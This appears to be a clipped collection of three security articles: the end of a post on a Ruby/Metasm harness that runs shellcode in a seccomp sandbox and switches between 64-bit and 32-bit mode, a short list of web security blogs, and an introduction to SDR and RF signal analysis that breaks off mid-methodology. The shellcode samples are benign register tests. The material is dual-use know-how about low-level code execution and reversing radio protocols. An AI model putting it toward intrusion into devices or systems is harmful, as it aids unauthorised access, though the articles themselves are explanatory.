the reader knows he can interface with others libraries :\]

Our child process is now able to run safely our code. If we want to dump the
GPRs after the code execution we need to wrap it. For this, I use
_new\_func\_asm_ to create a new function written in assembly, compile it and
load it inside the Ruby process address space. In a few words, this function
clears the GPRs, calls the code and puts the GPRs into a buffer given as
argument. Then I just have to print results in the pipe for our parent to have
them.

So if I decide to run :

`ivan@converge:~$ cat shellcode  
inc rax  
mov rdi, 0xdeadbeefc0febabe  
xchg rax, rbx  
push rdi  
pop rsi  
xor rdi, rdi  
ivan@converge:~$ ruby spoon.rb shellcode --x64  
Rax: 0x0 | Rbx: 0x1 | Rcx: 0x0 | Rdx: 0x0 | Rsi: 0xDEADBEEFC0FEBABE | Rdi: 0x0`
To sum up, Metasm assembled code from file 'shellcode', forked a child, setup
some restrictions, ran it and printed the GPRs state after the assembly
execution. All of this happened in the Ruby process. Here, I chose not to
print registers R8 to R15.

And if I try to run this :

`ivan@converge:~$ cat shellcode  
jmp $  
ivan@converge:~$ ruby spoon.rb shellcode --x64  
[wait 2s]  
Something wrong happened !  
ivan@converge:~$`

The child was killed by the kernel because he has consumed too much user CPU
time.

### Gimme moar power \!

In this part we will see how to run 32-bit code in our 64-bit Ruby process.
The plan is :

  1. Run 32-bit code in a 64-bit task.
  2. ???
  3. Profit \!

As I said at the beginning, I want to run both 32-bit and 64-bit code in the
same process. To achieve that I could reuse the
GDT\_ENTRY\_DEFAULT\_USER32\_CS code segment selector, but I decided to see if
Linux is well working, so I'll create my own code segment with syscall
modify\_ldt\(\). Here I'm allocating my own LDT \(Local Descriptor Table\),
the same than a GDT but only for my process. In this LDT will be placed my own
segment descriptors. For example I can have a 16bits dedicated stack segment.
Of course you cannot do what you want with the new segment descriptors, the
kernel validates them before, but you know sometimes you're doing it wrong \!

So basically, I need to:

  1. Map my code and stack at some 32-bit address. We use mmap\(\) with flag MAP\_32BIT for this.
  2. Initialize the stack and write the code in memory.
  3. Perform a 64 to 32 transition.
  4. Execute the 32-bit code.
  5. Go back to a 64-bit code segment to print the result.

The first point is easy, now armed with Metasm:

`dl.new_api_c <<EOS  
long mmap(long addr, long length, long prot, long flags, long fd, long
offset);  
long munmap(long addr, long length);  
  
struct user_desc {  
unsigned __int32 entry_number;  
unsigned __int32 base_addr;  
unsigned __int32 limit;  
int seg_32bit:1;  
int contents:2;  
int read_exec_only:1;  
int limit_in_pages:1;  
int seg_not_present:1;  
int useable:1;  
};  
  
long modify_ldt(int func, struct user_desc*ptr, long bytecount);  
  
#define PROT_R 1  
#define PROT_W 2  
#define PROT_X 4  
  
#define MAP_PV 0x2  
#define MAP_ANON 0x20  
#define MAP_32 0x40  
EOS  
if not dl.respond_to? :mmap  
puts "[-] mmap not found"  
return  
end  
  
if not dl.respond_to? :modify_ldt  
puts "[-] modify_ldt not found"  
return  
end  
  
# alloc memory in 32b user-space  
code32=dl.mmap(0, MEMSIZE, dl::PROT_R|dl::PROT_W|dl::PROT_X,
dl::MAP_PV|dl::MAP_ANON|dl::MAP_32, -1, 0)  
if code32==-1  
puts "[-] mmap failed (code32)"  
return  
end  
puts "[+] Allocated code32 at: #{code32.to_s(16)}"  
  
stack32=dl.mmap(0, MEMSIZE, dl::PROT_R|dl::PROT_W,
dl::MAP_PV|dl::MAP_ANON|dl::MAP_32, -1, 0)  
if stack32==-1  
puts "[-] mmap failed (stack32)"  
return  
end  
puts "[+] Allocated stack32 at: #{stack32.to_s(16)}"  
  
# Our LDT:  
# 0 empty  
# 1 code32 segment  
# ...  
# create an LDT entry, map code segment to our memory and copy shellcode into  
# entry=1  
# ldt_entry base_addr size_in_pages  
# 32bits:1 type:2 (2=code) readonly:0 limit_in_pages:1 seg_not_present:0
usable:1  
# MODIFY_LDT_CONTENTS_CODE=2  
struct=dl.alloc_c_struct('user_desc')  
struct.entry_number=1  
struct.base_addr=0  
struct.limit=(1<<32)-1  
struct.seg_32bit=1  
struct.contents=2  
struct.read_exec_only=1  
struct.limit_in_pages=1  
struct.seg_not_present=0  
struct.useable=1  
if dl.modify_ldt(1, struct, struct.length)!=0  
puts "[-] modify_ldt failed"  
return  
end`

As you can see, Metasm supports structure declarations. You initialize them
with  _alloc\_c\_struct_.

Now the hard part, how do we switch from a 64-bit to a 32-bit code segment? We
can perform a far-call, a far-jmp, even a far-ret ; but I prefer to use an
iret instruction because it allows you to change both CS, EIP, SS and the ESP
register at the same time. The iret instruction is allowed for this because we
are moving to a conforming code segment with the same DPL \(Descriptor
Privilege Level\). To be short, we stay in ring3 user-land :\]

To call iret we need a proper stack to tell what the CPU state will be. To be
precise we must provide EIP, CS, EFLAGS, ESP and SS. Even if we still have a
64bits stack we need to push argument as if we were in 32bits, so the stack
will look like this:

[code]

     Highdw    Lowdw
    [ eip    | eip  ] <- rsp
    [ eflags | esp  ]
    [ ss     |  0   ]
    
    
[/code]

Then we launch iret and land in our new code segment.

Last question: how to come back from 32-bit to the 64-bit code segment ?
Remember we moved our code to 32-bit addressable memory, but our original
64-bit code \(the caller\) is not necessarily in this range, so we need a
stager in 64-bit code inside the 32-bit addressable memory to perform a far-
jmp back to our caller. At the end of the 32-bit code we put a far-ret, when
we have initialized the stack some things were pushed, the original 64-bit
code segment \(GDT\_ENTRY\_DEFAULT\_USER\_CS if you prefer\) and pointer to a
code located just after the stager.

At the end of the 32-bit code execution, we do a far-ret, which comes back in
64-bit mode, but still in the 32-bit addressable memory, and then we can call
our far-jmp to our caller.

Last thing, the far-jmp has to know where to find the caller RIP and RSP.

Here is the code \(_'shellcode_ ' holds our binary 32bit compiled shellcode\):

`stager=Metasm::Shellcode.assemble(Metasm::X86_64.new, <<EOS).encode_string  
# our 32-bit shellcode goes here  
db #{shellcode.inspect}  
retf # return in 64bits to next mov instruction  
  
# stack crafted so that retf lands here, in 64-bit mode  
mov rsp, [rip-$_+1f]  
jmp [rip-$_+2f]  
1: dq 0xdeadbeefc0feb4be ; caller rsp, patch me !  
2: dq 0xdeadbeefc0feb4be ; caller rip, patch me !  
EOS  
dl.memory_write(code32, stager)`

Now we are able to run 32-bit code in our 64-bit process \! For example :

`ivan@converge:~$ cat shellcode  
inc eax  
mov edi, 0xdeadbeef  
xchg eax, ebx  
push edi  
pop esi  
xor edi, edi  
ivan@converge:~$ ruby spoon.rb shellcode  
Eax: 0x0 | Ebx: 0x1 | Ecx: 0x0 | Edx: 0x0 | Esi: 0xDEADBEEF | Edi: 0x0`
And if I try:

`ivan@converge:~$ cat shellcode  
inc rax  
ivan@converge:~$ ruby spoon.rb shellcode  
/home/ivan/metasm/metasm/parse.rb:59:in `parse_instruction': invalid opcode
arguments "inc rax", allowed : [[:reg], [:modrm], [:modrm]] near "inc" at
"\"<unk>\"" line 1 (Metasm::ParseError)  
from /home/ivan/metasm/metasm/parse.rb:330:in `parse'  
from /home/ivan/metasm/metasm/exe_format/shellcode.rb:69:in `assemble'  
from /home/ivan/metasm/metasm/exe_format/main.rb:70:in `assemble'  
from spoon.rb:237:in `run_shellcode'  
from spoon.rb:315  
ivan@converge:~$`

### I can haz syscallz ??

Now you should be like Bruce Dang:<img src='img/Temp2_10749.jpg' alt='wtfhead'
/>

The point is: "Ok, I'm seccomped now, but i still can use write on the opened
file descriptor, so wut can happened?" Knowing the opened pipe file descriptor
number is 4 you can run:

`ivan@converge:~$ cat shellcode  
mov rbx, 'i<3bruce'  
push rbx  
inc rax ; syscall write in 64bits  
mov rdi, 4 ; fd  
lea rsi, [rsp]  
inc rdx  
shl rdx, 3 ; 8 chars  
syscall  
pop rbx  
ivan@converge:~$ ruby spoon.rb shellcode --x64  
i<3bruceRax: 0x8 | Rbx: 0x6563757262333C69 | Rcx: 0x7FFC4E5F4082 | Rdx: 0x8 | Rsi: 0x7FFF111A99F0 | Rdi: 0x4  
ivan@converge:~$`

You can show your love \! You just have written your own data in the pipe, not
very useful ... Moreover, I have to admit it, the x64 syscalls calling
convention is a bit scary.

A cool thing is you can always call 32-bit syscalls from a 64-bit process:

`ivan@converge:~$ cat shellcode  
push 'ruce'  
push 'i<3b'  
mov eax, 4 ; sys_write in 32-bit  
mov ebx, 4 ; fd  
mov ecx, esp  
mov edx, 8 ; 8 chars  
int 0x80  
add esp, 8  
ivan@converge:~$ ruby spoon.rb shellcode  
i<3bruceEax: 0x8 | Ebx: 0x4 | Ecx: 0x41443FF0 | Edx: 0x8 | Esi: 0x0 | Edi: 0x0  
ivan@converge:~$`

### Time to die pilot \!

Now, I know what "smsw rax" does in 64bits, and that changed my life. By the
way, while testing this code we noticed a few bugs with some Ruby x64
packages. The Ruby process is flooded by rt\_sigprocmask\(\) syscalls and you
need to recompile your Ruby to avoid that, like says here. If you dont, as
soon as the child process enters SECCOMP mode, he is immediately killed ...
Well, it was not designed to be SECCOMP safe =\]

There is not a public release of an OllyDbg64 like for now. But, when I have
to deal with x64 assembly this little script is convenient. Of course you can
do the same on Windows, you just have to remove all the Linux-dependant things
:\]

Anyway, if you need to do some ASM hacks, Metasm is very convenient. I know
it's Ruby but one day you have to evolve to use some real tools, and that is a
big one. You can find the Ruby source, spoon.rb, attached to this post. Thanks
a lot to@metasm for his help \!

Have fun with Metasm \!

### Attachments

  * spoon.rb

# Jeremiah Grossman: 5 great Web security blogs you haven't heard of

**Created:**| _5/14/2009 3:28:49 PM_  
---|---  
**Updated:**| _5/14/2009 3:29:00 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
I read a tremendous amount of online material, much of which originates from
200+ RSS feeds. Sure the well-known blogs continue to generate great timely
content, but there are a few diamonds in the rough that don't get a lot of
attention. They instead focus on quality rather than quantity in their
postings offering a deep infosec business and technical analysis on subjects
not well covered elsewhere. Figured I should share of a few of my favorites.  
  
  
Boaz Gelbord  
With a business rather than technical tone, Boaz discusses how organizations
act and react to certain events in the industry such as compliance,
regulations and law. Management, spending, and incentives are routinely
explored that influence organizational behavior.  
  
ZScaler Research \- Michael Sutton, Jeff Forristal, etc.  
Heavy on the technical details and very timely in regards to Web security
related issues. Cross-Site Scripting, Browser Security, Worms, etc etc. What
more did you want\!?  
  
Tactical Web Application Security \- Ryan Barnett  
A technical and operational point of view on Web security matters with great
attack analysis.  
  
HolisticInfoSec.org \- Russ McRee  
The best way I can describe Russ is he keeps the infosec industry honest, and
that includes vendors AND website owners. While exceptionally fair minded,
he's not at all shy to call BS when he sees it.  
  
The Spanner \- Gareth Heyes  
Deeply technical, browser vendors beware of Gareth Heyes the master of HTML/JS
code obfuscation. Ecodings, strange "features", and XSS are just some of the
topics covered in stelar detail.

# elttam - Intro to SDR and RF Signal Analysis

**Created:**| _6/29/2017 4:13:55 PM_  
---|---  
**Updated:**| _6/29/2017 4:13:55 PM_  
**Author:**| __  
**Tags:**| _sdr_  
  

  

by pritch, June 15, 2017

## Introduction

The increasing popularity of Internet of Things \(IoT\) and other devices
becoming wireless is very much apparent in today’s society. With availability
of modern Software Defined Radio \(SDR\) hardware, it has become more
accessible, cheaper, and easier than ever to examine the Radio Frequency
\(RF\) signals that are used by these devices to communicate. The following
discussion attempts to understand how this communication information is
transmitted through RF, and how SDR may be used to analyse and possibly
reverse engineer this signal back to understandable data. To achieve this, the
RF signals of a number of simple household RF devices will be examined
visually in an effort to identify the characteristics of the transmitted
signal, along with the data that was transmitted.

* * *
## Some Basic RF Theory and Terminology

### What is Radio Frequency \(RF\).

To talk about RF, we first have to have some understanding of electromagnetic
radiation \(EMR\). When a charged particle is accelerated through space, such
as being emitted by an antenna, it produces two oscillating fields that occur
perpendicular to each other, an electric field, and a magnetic field. These
oscillating fields are called an EM wave, and can be visualised as shown in
the following image, where _x_ is time, _E_ the electric field, and _B_ the
magnetic field.

<img src='img/EM-
Wave-18f26063f4a2ec842f149d6c732e296bba35a172d72c0392a88789273de91527.gif'
width='627' height='522' alt='blog/2017-06-13-brief-sdr-and-rf-analysis/EM-
Wave.gif' />

Image Ref: https://commons.wikimedia.org/wiki/File:EM-Wave.gif

You already know EM waves because we deal with them on a daily basis. Radio
waves, microwaves, infrared radiation, visible light, ultraviolet light,
x-rays, and gamma-rays, are all EMR. The difference between these types of EMR
is the frequency range in which the EM waves oscillate.

RF is generally thought of as EMR with EM wave frequencies in the range of
_3kHz_ to _300GHz_ , and is mostly used for RADAR and wireless communications.
An easy example of RF communication is _WiFi_ , which operates in the _2.4GHz_
and _5GHz_ frequency ranges.

For our purposes, we will need to identify a few basic characteristics of EM
waves in order to analyse a given signal. These are **frequency and
wavelength** , **amplitude** , and **phase**.

### Frequency and Wavelength.

As previously discussed, the frequency of a wave is the rate at which it’s EM
fields are oscillating. Generally, the electric field is measured, in which a
**wave cycle** is the oscillating pattern of the wave before that pattern
repeats. **Frequency \(_f_\)** is therefore the number of EM wave cycles that
occur within a given unit of time. This is generally measured in _Hertz
\(Hz\)_ , which is the number of wave cycles per second. This can be seen in
the following image, which shows a ten wave cycles of a signal with the
frequency of _10 Hz_.

<img
src='img/10CompleteCycles-1ff431ec8311068e165d3ccc54e6a567a9047619d2a52a45d4458a1355b0a239.gif'
width='593' height='222' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/10CompleteCycles.gif' />

Image Ref: http://www.minelab.com/\_\_files/i/5872/10CompleteCycles.gif

Frequency also has a close relationship with the **wavelength \(_λ_\)**, which
is the distance the wave travels in one wave cycle. As EMR travels at the
speed of light \(_C_\) through a vacuum, frequency and wavelength are
inversely proportional. To calculate this, the formula **\(_λ = f / v_\)** may
be used, where _v_ is the velocity in a given medium, generally around 300,000
kms/s \(approx. speed of light in a vacuum\). Frequency is further categorised
into frequency **bands** , which can be seen the following image, also showing
the relationship between frequency and wavelength. Why is wavelengthimportant
you ask? It directly relates to choosing an appropriate antenna length for a
given signal, which we will cover later.

<img
src='img/freq_bands-06cdeca222bf0c62d46c5798a7270ab8cac2f87d846aae909b258163cb0c8890.png'
width='80%' height='80%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/freq_bands.png' />

Image Ref: http://www.ni.com/cms/images/devzone/tut/a/706afe69127.gif

Frequencies are chosen depending on the needs of an application, for instance
lower frequencies tend to propagate longer distances than higher frequencies,
and is used in applications like over-the-horizon RADAR. Similar frequencies
can also interfere with each other, hence why radio stations are separated in
frequency. Many countries have government bodies that control the RF spectrum
to avoid interference between applications, and regulate RF use. Within
Australia, this is the Australian Communications and Media Authority \(ACMA\).
An example of this spectrum allocation can be found here. Only a small portion
of the RF spectrum allows transmission without the need for a licence.

### Amplitude.

The amplitude of an RF signal can be thought of as a measure of the change in
the electric field oscillation over a a single period. For a sinusoidal wave,
this is the magnitude the wave swings above and below a reference value, and
can be measured in a few ways, such as _peak_ , _peak-to-peak_ , and _root
mean square \(RMS\)_ amplitude. These are shown in the following image as
items _1_ , _2_ , and _3_ , respectively.

<img
src='img/amplitude-b6bd2648e2157f7f8e9e21978857c0df8988751c35d57810bdd497212661e7c5.png'
width='60%' height='60%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/amplitude.png' />

Image Ref:
https://en.wikipedia.org/wiki/Amplitude\#/media/File:Sine\_voltage.svg

For our purposes, we will only need to observe the changes in amplitude of
signals and won’t need to measure this value, however within
telecommunications this value is usually a measure of voltage, current, field
intensity, or power.

### Phase.

Lastly let’s have a look at the phase characteristic of an RF signal. The
**phase** of a wave can be thought of as the position of a single point in
time during a wave cycle. For a sinusoidal wave this is usually expressed in
degrees, or radians, which is shown in the following image.

<img
src='img/phase1-c82fa26a40eea304088970efbb25b5088c7b50fc1cd7e8f88eea6429a2f5c001.gif'
width='60%' height='60%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/phase1.gif' />

Image Ref:
https://en.wikipedia.org/wiki/Phase\_\(waves\)\#/media/File:Oscillating\_sine\_wave.gif

As you can see, if a wave was shifted 180 degrees out of phase, it would be
the complete opposite of the original waveform.

### Modulation.

To be useful for any form of communication, an RF signal must have a way to
carry information. The previous three wave characteristics, frequency,
amplitude, and phase, make up the building blocks for modifying an RF signal
in some way to carry data. This is called **modulation** , and involves mixing
a modulating signal, which contains the information to be transmitted, into a
periodic waveform called the **carrier wave \(_CW_\)**, which propagates the
signal through the environment.

#### Analogue Modulation Schemes

Analogue modulation involves sending an analogue data signal, with an analogue
carrier wave. Examples of this would be analogue TV or radio station
transmissions. There are a few analogue modulation schemes, however the
simplest are amplitude, frequency, and phase modulation.

##### Amplitude Modulation \(AM\)

With amplitude modulation, the amplitude of the carrier wave is modulated with
the data signal. This can be seen in the diagram below

<img
src='img/AM-4e4155cd0e92d2806e7b55b1af065587f688eaa1ae1b6be6e45af75e476125e9.jpg'
width='75%' height='75%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AM.jpg' />

Image Ref: http://ironbark.xtelco.com.au/subjects/DC/lectures/7/

##### Frequency Modulation \(FM\)

Frequency modulation can be seen in the diagram below, and shows how the data
signal is used to modulate the frequency characteristic of carrier wave.

<img
src='img/FM-41b94710b40651603229e8fac1dc360a5229732b95ab13c606c189c9dccceaad.jpg'
width='75%' height='75%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/FM.jpg' />

Image Ref: http://ironbark.xtelco.com.au/subjects/DC/lectures/7/

##### Phase Modulation \(PM\)

Analogue phase modulation looks very similar to frequency modulation and may
be difficult to differentiate the two without some prior knowledge of how the
signal is modulated. With this modulation, the carrier wave’s phase is either
pushed forward or backward by the modulating data signal.

<img
src='img/PM-002f3fb7c734f5f2f9ce984ba152807d88722340eb081de77e7c4fe4c2769400.jpg'
width='75%' height='75%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/PM.jpg' />

Image Ref: http://ironbark.xtelco.com.au/subjects/DC/lectures/7/

#### Digital Modulation

Digital modulation comes from the need to represent a digital signal, i.e.
ones and zeros, in the analogue medium of RF for transmission. To achieve
this, discrete RF energy states are used to representing some quantity of the
digital information, these are called **symbols**. The three most basic
modulation schemes for transmitting digital data are **Amplitude Shift
Keying** , **Frequency Shift Keying** , and **Phase Shift Keying**.

##### Amplitude Shift Keying \(ASK\) and On Off Keying \(OOK\)

ASK involves using the digital data to modulate the amplitude of the carrier
wave. This may be by altering the amplitude itself, or simply turning the
signal off and on forming a pulse of energy, which is called On-Off Keying
\(OOK\). The following image shows how binary data might modulate the carrier
wave through ASK and OOK.

<img
src='img/ASK1-a13caa66d0e0cd86e20aa7981a420d0b4e2dca4dccef4558265bfa4e1980292c.jpg'
width='75%' height='75%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/ASK1.jpg' />

Image Ref: http://ironbark.xtelco.com.au/subjects/DC/lectures/7/

Many forms of RADAR transmit pulses of energy like this, then listen to for
the weak reflection of the pulse in order to determine the position of objects
in an environment.

##### Frequency Shift Keying \(FSK\)

Similar to ASK, FSK modulates the frequency of the carrier wave with the
binary data, forming symbols that have distinct changes in frequency to
represent the bits, as seen below.

<img
src='img/FSK1-6b03100104b70c223a48576f2c35d0082c36eb59f129ccdcf52b80305477f973.jpg'
width='75%' height='75%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/FSK1.jpg' />

Image Ref: http://ironbark.xtelco.com.au/subjects/DC/lectures/7/

##### Phase Shift Keying \(PSK\)

Finally, PSK uses the digital data to modulate the phase of the carrier wave,
and forms distinct angular changes in the phase of the signal to represent the
binary data as a symbol.

<img
src='img/PSK1-09433a285e937f48892874bd64f13220231e512165fbdada901abe3e2cff2e71.jpg'
width='75%' height='75%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/PSK1.jpg' />

Image Ref: http://ironbark.xtelco.com.au/subjects/DC/lectures/7/

#### Can You Identify the Modulation in These Captured Signals?

Knowing what we just learned with respect to basic modulation schemes, can you
identify the modulation used in the following captured signals? Which are
analogue and which are digital?

**Note:** _The animated gif of each signal shows a waterfall plot of time vs.
frequency \(higher amplitudes also showing as a brighter green\) at the top,
with a plot of amplitude vs. frequency at the bottom. The image that follows
each animated gif shows a subsection of the waveform which represents the
wave’s amplitude vs. time._

##### Signal 1

<img
src='img/AM_76MHz_FFT-350ff76f6ab2a2c32872ef02a8773c31c7a2d7cf3060c239c10c96505bd7dd0c.gif'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AM_76MHz_FFT.gif' /> <img
src='img/AM_76MHz_Osc2-ded6865f467572ee494d79386ecb06ed632f8512fd934c922087a8488703b5d2.png'
width='960' height='82' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AM_76MHz_Osc2.png' />

##### Signal 2

<img
src='img/FM_104MHz_FFT-f3ccb3e6723fa1f886bbaa587beade30071d44ab643c42a05bc0aba214873221.gif'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/FM_104MHz_FFT.gif' /> <img
src='img/FM_104MHz_Osc-401151ec9b5a56cac0dd2cba023e2ce8d11696aeb4a3963d19def11ee5445315.png'
width='960' height='82' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/FM_104MHz_Osc.png' />

##### Signal 3

<img
src='img/AMOOK_433MHz_FFT_HackRF-3ae400b540f3d95e7eea04c96fd05be06f9167824c964cbb4425fa6e237fb47c.gif'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/AMOOK_433MHz_FFT_HackRF.gif' /> <img
src='img/doorbell_433MHz_Osc2-235faf7bd00b1bfa89f24740643cb4c062602eccaf17ce5973fdd61506dcaca8.png'
width='960' height='83' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/doorbell_433MHz_Osc2.png' />

If you said the first is AM, the second is FM, and the third is ASK or OOK.
Then you are correct, however the third signal implements a slightly more
complex type of ASK, known as Pulse Duration Modulation \(PDM\) where the
duration of the pulse relates to the modulating data.

#### More Complex Digital Modulation

Even with high speed systems, transmission of digital data in a format where a
symbol represents a single one or a zero is very slow. To increase the speed
of data transfer, more complex forms of modulation are used, in which a single
symbol represents several bits. To give an idea about how this might be
implemented, we will quickly look at **Quadrature Phase Shift Keying
\(QPSK\)** and **Quadrature Amplitude Modulation \(QAM\)** which are the
modulation components of WiFi signals.

##### Quadrature Phase Shift Keying \(QPSK\)

QPSK involves modulating the signal to achieve four distinct phase shifted
symbols, each representing a combination of two bits, as shown in the
following image.

<img
src='img/QPSK-50f11150be92f73bda2ad0b6812295bddf09b38454d2c6538ff655d74959b9b4.jpg'
width='75%' height='75%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/QPSK.jpg' />

Image Ref: http://ironbark.xtelco.com.au/subjects/DC/lectures/7/

This can be visualised by plotting the points on the circular nature of the
sinusoidal pattern, shown in the diagram below, where the _I_ plane represents
the in-phase component, and _Q_ the quadrature.

<img
src='img/QPSK2-8f24356cd7a45d089506380e2b04d2976eab164cfdf70137d16f991f2960c9e1.png'
width='50%' height='50%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/QPSK2.png' />

Image Ref: https://en.wikipedia.org/wiki/Phase-
shift\_keying\#/media/File:QPSK\_Gray\_Coded.svg

Further modifications of this exist that add more phase points, such as
32-PSK, which produces more distinct symbols, and increases the data rate.

##### Quadrature Amplitude Modulation \(QAM\)

QAM furthers the concept of QPSK by adding the modulation of amplitude in
addition to the phase of the signal. A good example of this can be seen in the
following image, which shows 16-QAM.

<img
src='img/QAM16-db8b95c2aafe8b12fb4189496fc0aa94d80595d8521f4ea1476663338c4e3b55.gif'
width='60%' height='60%' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/QAM16.gif' />

Image Ref: https://reviseomatic.org/help/x-more/QAM16.gif

Here you can see there are sixteen distinct symbols, each relating to four
bits of binary data.

#### Spread Spectrum Systems

In combination with digital modulation, transmission of the data can be spread
across multiple frequencies, this is called spread spectrum. This is used to
reduce the effect of interference and possibly make the signal more difficult
to detect, as it appears similar to noise. Two common forms of spread spectrum
are **Direct Sequence Spread Spectrum \(DSSS\)** , and **Frequency Hopping
Spread Spectrum**.

_DSSS_ takes each transmitted bit and represents it with multiple bits called
a spreading code, which is transmitted over a wide frequency range.

_FHSS_ hops the transmission between a predetermined set of frequencies, in
which the receiver is synchronised with the transmitter.

* * *
## Software Defined Radio \(SDR\)

The example signals above were captured using a hardware SDR device, and
displayed using signal analysis software, _Baudline_.

As radio equipment can be very expensive, and is usually specific to
particular applications, SDR solves this problem by removing components that
would usually be implemented in hardware, such as mixers, amplifiers,
modulators, and demodulators, and implements them in software. This means we
can analyse the raw signal being received, however it is up to us to implement
the other components in software in order to retrieve the original data. Doing
this requires a deeper understanding, but for our purposes we will use
inexpensive SDR hardware and software to take a look at some captured signals,
and have a go at visually analysing them.

### Hardware Tools.

There a several good and relatively inexpensive SDR hardware devices on the
market that can be used to receive and transmit RF. The ones used here are the
following:

  * RTL\_SDR
  * HackRF One
  * YardStick One \(not SDR but can be used to receive and transmit modulated signals\)

### Software Tools.

The software tools I found most helpful for capturing and analysing RF signals
on a Linux platform are as follows:

  * Baudline \(recording and analysis\)
  * osmocom\_fft \(recording and analysis\)
  * Inspectrum \(analysis\)
  * GNU Radio Companion \(recording, analysis, demodulation and a whole bunch more\)

All these software tools are free, and there are many more out there,
including a lot that can automatically demodulate data for specific RF
systems.

**Note:** _SDR can be quite resource intensive, the amount of data that is
captured in a small time frame can be very large, and also requires high
bandwidth from the USB port your SDR device is attached to. This can also
cause issues if using virtual machines. There is plenty of information online
about setting up SDR devices and software, so Google is your friend here._

### Capturing and Analysing RF Signals.

Because SDR converts the analogue signal received into digital data, something
to note here is the concept of **samplerate** , and **bandwidth**. Samplerate
refers to the number of samples taken of the analogue signal per second, and
directly relates to the bandwidth of the frequency spectrum that is visible at
any particular point in time. For example, the higher the samplerate the more
frequencies you can see, however this also increases the amount of data being
received. The samplerate that is possible depends on your SDR device and the
ability of your particular computing resources. **Gain** is also another
important concept, and relates to the amplification of signals. It is
worthwhile having a read about these with respect to your particular SDR
device.

To start to view and analyse a specific RF signal, I found the easiest way,
with my particular resources, was to pipe the data received from the SDR
device into _Baudline_. This is quite simple with both an _RTL\_SDR_ device or
the _HackRF_ , using their CLI commands `rtl_sdr`, or `hackrf_transfer`
respectively, however some characteristic of the particular device need to be
known. Both _RTL\_SDR_ and _HackRF_ use two channels to sample the quadrature
values _I_ and _Q_ previously talked about. In the case of the _HackRF_ , the
samples are 8-bit signed values, and this needs to be relayed to _Baudline_ in
order to correctly interpret the data. To make this easier, I wrote the
following bash script to pipe the _HackRF_ output to _Baudline_ and allow
real-time viewing of the spectrum:

[code]

    #!/bin/bash
    # ./hackrf_baudline.sh <frequency> <samplerate> <ifgain> <bbgain>
    
    # Pipe HackRF output to Baudline
    hackrf_transfer -r - -f ${1} -s ${2} -l ${3} -g ${4} | baudline -reset -basefrequency ${1} -samplerate ${2} -channels 2 -format s8 -quadrature -flipcomplex -stdin
[/code]

For example, running `./hackrf_baudline.sh 100000000 8000000 24 20`, might
give you something similar to the following image in _Baudline_.

<img
src='img/baudline_spectrum-30b5763f4e20ed39455e09890d5c6940463b249ba3679ee16aecee12bd4e5bf0.gif'
width='808' height='762' alt='blog/2017-06-13-brief-sdr-and-rf-
analysis/baudline_spectrum.gif' />

There is some noise here in my set up, however this shows a portion of the RF
spectrum around the centre frequency of _100 MHz_. For me there are several FM
radio stations in this range that are visible.

**Note:** _Something to mention here is that you can see a constant distinct
signal right at the centre frequency. This is called the Direct Current \(DC\)
offset, and is an artifact of the measurement system that is implemented in
the device. This is apparently common in all quadrature sampling systems,
however it seemed particularly pronounced with the \*HackRF_. The easiest way
to deal with this is to offset the centre frequency slightly from the
frequency you wish to analyse.\*

_osmocom\_fft_ is also very useful for looking at large portion of the RF
spectrum in order to identify a particular signal, however _baudline_ appears
to have a lot more features for analysing signals. Although many of the
features I have no idea what they do, some of the ones I found useful are as
follows \(usually found by right-clicking within a _baudline_ window\):

  * _input- >color aperture_, playing with these setting can help to reduce the noise.
  * _input- >devices_, the _decimate_ and _down mixer_ settings can help to reduce the visible spectrum and focus on a specific signal.
  * _process- >transform size_, increases and decreases size of the internal Fast Fourier Transform, and can help to give a better view in either the frequency or time domain.
  * _displays- >waveform_, gives a waveform output of the signal.
  * _pause_ , can be used to pause the output to inspect a signal.
  * _measure- >system->delta selected_, can be used to measure the time, for instance between OOK pulses. The precision of this can also be increased.
  * Periodicity bars, used by pressing and holding your 2nd mouse button then tapping _shift_ , this can help to measure symbols intervals.
  * Using _alt_ and the arrow keys to zoom in or out within the windows.

Both _baudline_ and _osmocom\_fft_ have the option to save to a file, and this
is also possible straight from the _RTL\_SDR_ and _HackRF_ command line tools
`rtl_sdr` and `hackrf_transfer`.

**Note:** _A quick note here on antennas. Antenna theory is a whole science in
itself, however to improve the received signal, it is a good idea to use an
antenna that is quarter wavelength of the desired frequency to receive. For a
telescopic antenna this may be as simple as extending it to approximately to
correct length. Quarter wavelength in centimetres can be approximated by
dividing 300 by the frequency in MHz, multiplying by 100, and dividing by 4._

Another useful tool here is _Inspectrum_. With _Inspectrum_ you can load and
view the frequency spectrum captured through the use of one of the other
tools, however it offers a nice _cursor_ function that allows you to easily
identify the symbols and the symbol rate, otherwise known as **baudrate**. You
can see the use of this in the garage door example in the later sections.

* * *
## A Methodology for Reversing RF Signals

If your ultimate goal is to reverse engineer an RF signal and understand it’s
protocol, a nice methodology to follow can be found in a Hack In The Box
\(HITB\) conference talk by Matt Knight and Marc Newlin, which can be found
here **HITB 2017 - So You Want to Hack Radios?**.

It discusses the following steps:

  1. **Open Source Intelligence \(OSINT\)** \- Attempt to easily find the characteristics and modulation of the signal.
  2. **Characterise the channel** \- Find the frequencies and bandwidth in which the signal is operating.
  3. **Identify the modulation** \- Determine the type of modulation that is being used.
  4. **Determine the symbol rate** \- Calculate the baudrate of the signal.
  5. **Determine the synchronisation** \- Identify any preamble or other synchronisation patterns in the signal.
